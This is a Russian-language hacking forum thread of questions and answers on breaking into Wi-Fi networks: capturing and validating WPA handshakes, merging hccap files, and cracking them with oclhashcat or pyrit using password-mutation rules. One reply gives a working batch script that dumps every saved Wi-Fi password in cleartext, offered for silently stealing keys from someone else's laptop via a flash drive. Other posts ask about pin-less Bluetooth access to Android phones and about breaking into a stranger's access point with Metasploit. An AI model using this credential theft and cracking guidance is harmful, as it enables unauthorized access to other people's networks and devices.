[Wi-Fi, BT] Задай вопрос - получи ответ!

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by user100, 25 Apr 2015.

  1. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    а если в linux, то

    cat 1.hccap 2.hccap 3.hccap > all.hccap

    ну или сколько там их у Вас...
     
  2. Volter

    Volter New Member

    Joined:
    23 Feb 2016
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    а если windows 7, то как быть ?
     
  3. Volter

    Volter New Member

    Joined:
    23 Feb 2016
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
  4. AleAle_jag

    AleAle_jag New Member

    Joined:
    21 Feb 2016
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    У меня не хватает хендшейк Wifite. Ни разу. А вот Airslax схватил, но только десять штук в один файл запихал, а по отдельности не хочет. Что сделать, чтоб всё работало по-человечески? Или это всё из-за сетевухи?(Думаю тут дело не в руках и не в голове) И как после того как всё правильно заработает, перехватывать хендшейки автоматически, группами(примерно по 10, в разных файлах)?
     
  5. Y2Kot

    Y2Kot New Member

    Joined:
    1 Mar 2016
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Подскажите пожалуйста, можно ли как то подключиться к андроид устройству по bluetooth без ввода пароля?
     
  6. valokorden

    valokorden Member

    Joined:
    8 Sep 2011
    Messages:
    64
    Likes Received:
    12
    Reputations:
    0
    Хенды вроде бы всегда кладутся в один файл еслм пользоваться скриптами автоматами, сам их не проверял так как все ручками делаю, проще и эффективно!!! А что вырезать Хенды из файла не судьба, тем же aircrack-ng
     
    erwerr2321 likes this.
  7. AleAle_jag

    AleAle_jag New Member

    Joined:
    21 Feb 2016
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Я уже понял, что на автомате в один файлик и по размеру они 100(или меньше) кб, когда одиночные могут достигать одного мб. У меня просто не получается ловить одиночные. А как взломать автоматический в кали? То есть словил а файлик в 30 хендшейков в аирслаксе, а хочу пропустить по базе паролей не на цпу(1000 пар\с примерно), а на oclhashcat с помощью гпу(может быстрее даст), в аирслаксе нельзя тк его надо купить.
     
  8. Slax007

    Slax007 New Member

    Joined:
    5 Mar 2013
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    Подскажите пожалуйста как подключиться к скрытой сети в wifislax 4.10.1 ? раньше был wicd но теперь его нигде не могу найти, если ли еще способы?
     
  9. hydra

    hydra Elder - Старейшина

    Joined:
    24 Jul 2015
    Messages:
    3,348
    Likes Received:
    36,522
    Reputations:
    70
    apt-get install wicd попробуй
     
  10. Kolhozan

    Kolhozan Member

    Joined:
    8 Jun 2013
    Messages:
    128
    Likes Received:
    31
    Reputations:
    1
    Воспользоваться тестовой версией http://beta.seguridadwireless.es/ wicd присутствует.
     
  11. Algierd

    Algierd Member

    Joined:
    21 Sep 2013
    Messages:
    405
    Likes Received:
    16
    Reputations:
    0
    usb-адаптер awus036h на Убунте (в принципе под другими дистрибутивами) нормально не работает в сёрфинге пока из терминала не дашь команду iwconfig wlx00c0ca72594b rate 5.5M fixed. Может кто-нибудь подскажет как можно автоматизировать всё это дело, чтобы каждый раз при перезагрузке не лезть в консоль?
     
  12. morlin

    morlin Member

    Joined:
    25 Dec 2015
    Messages:
    242
    Likes Received:
    56
    Reputations:
    0
    Просьба проверить хендшейк, не пойму может он пустой или неправильный, или подскажите как самому понять. У меня там через варшарк показывает всего 2, Mesage 1 - 4 и Mesage 2 - 4, этого хватит чтобы сбрутить пароль?
    http://rghost.ru/7cR97P6Kr
     
    #1312 morlin, 7 Mar 2016
    Last edited: 7 Mar 2016
  13. Volter

    Volter New Member

    Joined:
    23 Feb 2016
    Messages:
    64
    Likes Received:
    0
    Reputations:
    0
    Где можно ознакомится с созданиям правил для брута и узнать, что они из себя представляют ? Не могу найти на форуме
     
  14. hydra

    hydra Elder - Старейшина

    Joined:
    24 Jul 2015
    Messages:
    3,348
    Likes Received:
    36,522
    Reputations:
    70
    : Ничего не делать с исходным словом
    l Перевести в нижний регистр
    u Перевести в верхний регистр
    c Перевести первый символ в верхний регистр,остальные - в нижний
    C Перевести первый символ в нижний регистр,остальные - в верхний
    t Инвертировать регистр всех символов в слове
    TN Инвертировать регистр символа в позиции N Примечание: N = 0...9 для позиции от 0 до 9,N = A...Z для позиции от 10 до 35
    r Обратить: "Fred" -> "derF"
    d Дублировать: "Fred" -> "FredFred"
    f Отразить: "Fred" -> "FredderF"
    { Сдвинуть слово влево на 1 символ: "jsmith" -> "smithj"
    } Сдвинуть слово вправо на 1 символ: "smithj" -> "jsmith"
    $X Добавить в конце слова символ X
    ^X Добавить в начале слова символ X
    [ Удалить первый символ в слове
    ] Удалить последний символ в слове
    DN Удалить символ в позиции N
    xNM Извлечь подстроку от позиции N до количества символов M Примечание: M = 1...9 для кол-ва символов от 1 до 9,M = A...Z для кол-ва символов от 10 до 35
    iNX Вставить символ X в позиции N и сдвинуть вправо остальное
    oNX Заменить символ в позиции N на символ X
    <N Отклонить слово, если его длина не меньше N символов
    >N Отклонить слово, если его длина не больше N символов
    'N Обрезать слово до длины N символов
    sXY Заменить все символы X на символы Y
    @X Удалить все символы X из слова
    !X Отклонить слово, если оно содержит символ X
    /X Отклонить слово, если оно не содержит символ X
    =NX Отклонить слово, если оно не содержит символ X в позиции N
    (X Отклонить слово, если его первый символ не X
    )X Отклонить слово, если его последний символ не X
    %MX Отклонить слово, если оно не содержит по меньшей мере M включений символа X
    aN Проверить слово со всеми возможными регистрами символов,
    N - Максимальная длина паролей, к которым применять данное правило. Примечание: данное правило нельзя использовать в одной строке с другими правилами!
    pN Копировать слово N раз Примечание: N = 3...9

    v1.8:
    zN Дублировать первый символ пароля N раз Примечание: N = 1...9
    ZN Дублировать последний символ пароля N раз Примечание: N = 1...9
    q Дублировать все символы пароля: "admin" -> "aaddmmiinn"
    3. Допускается использовать в одной строке несколько правил, применяемых к одному входному слову.При этом обработка правил идет слева направо.
    К примеру, если применить правило "l$1$9$8$0d" к слову "JOHN", то результат будет таким - "john1980john1980".
     
    Alexmeh and Volter like this.
  15. Algierd

    Algierd Member

    Joined:
    21 Sep 2013
    Messages:
    405
    Likes Received:
    16
    Reputations:
    0
    Есть вопрос: имеется физический доступ к чужому ноутбуку на котором вайфай. Есть ли какая-нибудь программка которую можно записать на флешку, подключить её к ПК и она сама тихо-скрытно сохранит искомый пароль?
     
  16. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Варианты:
    1. Router Scan в тихом режиме
    2. NirSoft WirelessKeyView - начиная с Vista, умеет экспортировать в CSV
    3. wifidump.cmd :
    Code:
    @echo off
    :: WLAN profile dumper by binarymaster
    :: Requires Windows 7 or higher + administrator rights
    :: Tested only with Windows 7
    setlocal enabledelayedexpansion
    chcp 10000 > nul
    cd %~dp0
    netsh wlan show profile | find "     : " > wlan.txt
    for /F "tokens=2,2* delims=:" %%A in (wlan.txt) do (
      set ln=%%A
      set ln=!ln:~1!
      netsh wlan show profile key=clear "!ln!" >> pasw.txt
    )
    del wlan.txt
     
    jashertj, Payer and TOX1C like this.
  17. morlin

    morlin Member

    Joined:
    25 Dec 2015
    Messages:
    242
    Likes Received:
    56
    Reputations:
    0
    Как поймать хендшейк именно с четырьмя EAPOL пакетами, Mesage 1 - 4, 2 -4, 3 - 4 и 4 - 4. Сколько ни ловлю хендшейков, там только 1 - 4 и 2 - 4. Ловлю с wifislax на вмварьке хендшейкером или гойскриптом, короче хендшейки не брутятся, хотя гугл пишет что пароль именно в этих двух первых пакетах, но предпочтительно иметь полноценный хендшейк со всеми четырьмя пакетами.
     
  18. Linksach

    Linksach Member

    Joined:
    9 Jul 2015
    Messages:
    443
    Likes Received:
    70
    Reputations:
    0
    Handshacker 4 пакета ловит в вифислакс только в версии 4.10.Goyscript как ни крути всегда ловит только 2 пакета.Мой совет в вифислакс пользоваться minidwep-почти постоянно 4 пакета и брутятся хорошо.И чтоб поймать полноценный хендшейк нужно иметь хороший сигнал до точки доступа и от точки доступа до клиента.Удачи!Не получается поймать в вифислакс пробуй в kali linux.Я думаю что можно записать на dvd или флэшку kali linux и попробовать поймать то что нужно
     
    #1318 Linksach, 11 Mar 2016
    Last edited: 11 Mar 2016
    morlin likes this.
  19. hydra

    hydra Elder - Старейшина

    Joined:
    24 Jul 2015
    Messages:
    3,348
    Likes Received:
    36,522
    Reputations:
    70
    Хэндшейки нужно проверять самому.Скрипты часто ловят их кривыми.Вот они и не брутятся.
    Проверить можно хотябы так: pyrit -r xxx.cap analyze Вывод должен быть примерно таким:
    #1: Station 9c:80:df:37:b8:fc, 11 handshake(s):
    #1: HMAC_SHA1_AES, good, spread 9
    #2: HMAC_SHA1_AES, workable, spread 15
    #6: HMAC_SHA1_AES, bad, spread 6
    Ну или в Wireshark можно.Но тут нужны хоть малмальские знания.Более подробней об этом ищи в ветках.Инфа 100% есть.Наличие EAPOL пакетов,вовсе не гарантирует их полноту и целостность.Временные интервалы между ними должны быть не более 1 секунды.
    Да,желательно иметь все 4 пакета.Но вовсе не обязательно.
     
    #1319 hydra, 11 Mar 2016
    Last edited: 11 Mar 2016
    quite gray, Sves, Richmounth and 3 others like this.
  20. Linksach

    Linksach Member

    Joined:
    9 Jul 2015
    Messages:
    443
    Likes Received:
    70
    Reputations:
    0
    интересно УЗНАТЬ кто-нибудь реализовал уязвимость hole 196.Если у кого получилось отпишитесь пожалуйста в этой ветке.У меня одна точка с хорошим сигналом без клиентов уже висит один год и как к ней подключится ума не приложу.Советовали с помощью соц.инженерии-metasploita и meterpretera но я пока не пробовал пробится на комп